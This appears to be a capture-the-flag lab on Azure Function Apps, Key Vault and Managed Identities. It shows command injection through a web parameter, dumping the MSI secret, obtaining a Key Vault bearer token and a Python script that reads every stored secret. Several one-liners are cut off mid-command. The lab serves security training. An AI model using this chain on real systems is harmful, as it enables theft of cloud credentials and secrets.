Azure Function Apps is a serverless solution for Azure which is currently built on top of Azure's App Service.

Azure App Service is a Platform as a Service (PaaS) solution.

A Function App hosts and executes individual functions contained within the App.

Key Vault

Azure Key Vault is a tool for securely storing and accessing secrets. A secret is anything that you want to tightly control access to, such as API keys, passwords, or certificates. A **Vault** is logical group of secrets. Now to do any operations with Key Vault you first need to authenticate to it.

Fundamentally there are 3 ways to authenticate to Key Vault:

- Using managed identities for Azure resources (Recommended and Best Practice): When you deploy an App on a Virtual Machine in Azure, you can assign an identity to your Virtual Machine that has access to Key Vault. You can also assign identities to other azure resources that are listed here. The benefit with this approach is the app / service is not managing the rotation of the first secret. Azure automatically rotates the identity.
- Using Service Principal and Certificate: The 2nd option is to use a Service Principal and an associated certificate that has access to Key Vault. The onus of rotating the certificate is on the application owner or developer and hence this is not recommended.
- Using Service Principal and Secret (aka password): The 3rd option (not preferred option) is to use a Service Principal and a secret to authenticate to Key Vault.

One issue, with using a Certificate and/or a Secret (aka password) is that frequently these secrets are easily obtained one a vulnerability within the web application is discovered (e.g. local file read), and then difficult to rotate routinely (e.g. having to update the source code everywhere, at the same time)

Managed Identities

Managed Identities helps to solve the Key Vault bootstrapping problem whereby an application needs access to a configuration secret stored **outside** of Key Vault to access all the secrets **inside** of Key Vault.

Managed identities for Azure resources is the new name for the service formerly known as Managed Service Identity (MSI).

We can view the information needed to interact with the Managed Identities service via running the set command on the remote target and viewing the current environment variables...

```
root@ip-10-0-1-251:~# curl https://lizardblue.azurewebsites.net/api/gui?update=$(echo -n "set" | base64)
...
MSI_ENDPOINT=http://127.0.0.1:41930/MSI/token/
MSI_SECRET=BB817F0AE3514AA4B33CEF3FF0213310
...
```

Note: *Your TCP port number (e.g. 41930) may be different then the one shown in this lab.*

If we can get the remote server to query the MSI_ENDPOINT url while setting the value of the "Secret" HTTP header to MSI_SECRET, then we can interact with the Managed Identities service...

```
root@ip-10-0-1-251:~# curl https://lizardblue.azurewebsites.net/api/gui?update=$(echo -n "d:\\python27\\python.exe -c \"print('hi')\"" | base64 -w 0)
hi

root@ip-10-0-1-251:~# curl https://lizardblue.azurewebsites.net/api/gui?update=$(echo -n "d:\\python27\\python.exe -c \"import urllib2; import urllib; import os; req = urllib2.Request


[+] updates: [+] sContent: {"access_token":"eyJ...TeA","expires_on":"11/5/2018 9:46:46 PM +00:00","resource":"https://vault.azure.net","token_type":"Bearer"}
hi

[!] error:
```

Note: the "&" in the above command may have been replaced with a "&" by the web filtering system. If that occurred for you, copy the command to a text editor, and replace "&" with "&" before attempting to run the command on the remote target.

Once we have the access token from the Managed Identities service, then we can query Key Vault a secret that has been securely stored within a vault...

```
root@ip-10-0-1-251:~# curl https://lizardblue.azurewebsites.net/api/gui?update=$(echo -n "d:\\python27\\python.exe -c \"import urllib2; import urllib; import os; import json; reqMsi =

root@ip-10-0-1-251:~# curl https://lizardblue.azurewebsites.net/api/gui?update=$(echo -n "d:\\python27\\python.exe -c \"import urllib2; import urllib; import os; import json; reqMsi =

root@ip-10-0-1-251:~# curl https://lizardblue.azurewebsites.net/api/gui?update=$(echo -n "d:\\python27\\python.exe -c \"import urllib2; import urllib; import os; import json; reqMsi =
```

These one liners are based off of a more complete and readable script:

```
#!/usr/bin/python
import urllib2
import urllib
import os
import json

print("[+] ### START ###")

print("[+] --- Get MSI ---")

sMsiEndpoint = str(os.environ['MSI_ENDPOINT'])
print("[+] sMsiEndpoint: " + sMsiEndpoint)

sMsiSecret = str(os.environ['MSI_SECRET'])
print("[+] sMsiSecret: " + sMsiSecret)

sMsiUrl = sMsiEndpoint + "?resource=https://vault.azure.net&api-version=2017-09-01"
reqMsi = urllib2.Request(sMsiUrl)
reqMsi.add_header('Secret', sMsiSecret)
respMsi = urllib2.urlopen(reqMsi)
sMsiContent = respMsi.read()

print("[+] sMsiContent: " + str(sMsiContent))

jMsiContent = json.loads(sMsiContent)
print("[+] jMsiContent['access_token']: " + str(jMsiContent['access_token']))


print("[+] --- List Key Vault Secrets ---")

sKeyVaultUri = str(os.environ['KeyVaultUri'])
print("[+] sKeyVaultUri: " + sKeyVaultUri)

sApiVersion = "?api-version=2016-10-01"
print("[+] sApiVersion: " + sApiVersion)

sKeyVaultListUrl = sKeyVaultUri + "/secrets" + sApiVersion
print("[+] sKeyVaultListUrl: " + sKeyVaultListUrl)

reqKeyVaultList = urllib2.Request(sKeyVaultListUrl)
reqKeyVaultList.add_header('Authorization', 'Bearer ' + jMsiContent['access_token'])
reqKeyVaultList.add_header('Content-Type', 'application/json')
reqKeyVaultList.add_header('Host', 'lizardBlueKeyVault.vault.azure.net')

respKeyVaultList = urllib2.urlopen(reqKeyVaultList)
sKeyVaultListContent = respKeyVaultList.read()

print("[+] sKeyVaultListContent: " + str(sKeyVaultListContent))

jKeyVaultListContent = json.loads(sKeyVaultListContent)
print("[+] jKeyVaultListContent['value']: " + str(jKeyVaultListContent['value']))

lKeyVaultListContent = jKeyVaultListContent['value']
print("[+] lKeyVaultListContent: " + str(lKeyVaultListContent))


print("[+] --- Get Key Vault Secret ---")

sKeyVaultUri = str(os.environ['KeyVaultUri'])
print("[+] sKeyVaultUri: " + sKeyVaultUri)

for sSecret in lKeyVaultListContent:
    dSecret = dict(sSecret)
    print("[+] dSecret: " + str(dSecret))
    print("[+] dSecret['id']: " + str(dSecret['id']))
    sSecretUrl = dSecret['id']
    sKeyVaultUrl = sSecretUrl + sApiVersion
    print("[+] sKeyVaultUrl: " + sKeyVaultUrl)

    reqKeyVaultGet = urllib2.Request(sKeyVaultUrl)
    reqKeyVaultGet.add_header('Authorization', 'Bearer ' + jMsiContent['access_token'])
    reqKeyVaultGet.add_header('Content-Type', 'application/json')
    reqKeyVaultGet.add_header('Host', 'lizardBlueKeyVault.vault.azure.net')

    respKeyVaultGet = urllib2.urlopen(reqKeyVaultGet)
    sKeyVaultGetContent = respKeyVaultGet.read()

    print("[+] sKeyVaultGetContent: " + str(sKeyVaultGetContent))

print("[+] ### END ###")
```

Exercise

The Plan:

- Find the Secrets AKA Flags!

References:

Check out the following references for more information:

- What Is the Azure App Service? - https://www.petri.com/azure-app-service
- What is Azure Key Vault? - https://docs.microsoft.com/en-us/azure/key-vault/key-vault-whatis

- Key Vault and Managed Service Identities - https://odetocode.com/blogs/scott/archive/2018/06/13/key-vault-and-managed-service-identities.aspx

- Get Secret - Get Secret - https://docs.microsoft.com/en-us/rest/api/keyvault/getsecret/getsecret
- Authentication, requests and responses - https://docs.microsoft.com/en-us/azure/key-vault/authentication-requests-and-responses
- Azure REST API Reference - https://docs.microsoft.com/en-us/azure/key-vault/authentication-requests-and-responses
- Convert string to JSON using Python - https://stackoverflow.com/questions/4528099/convert-string-to-json-using-python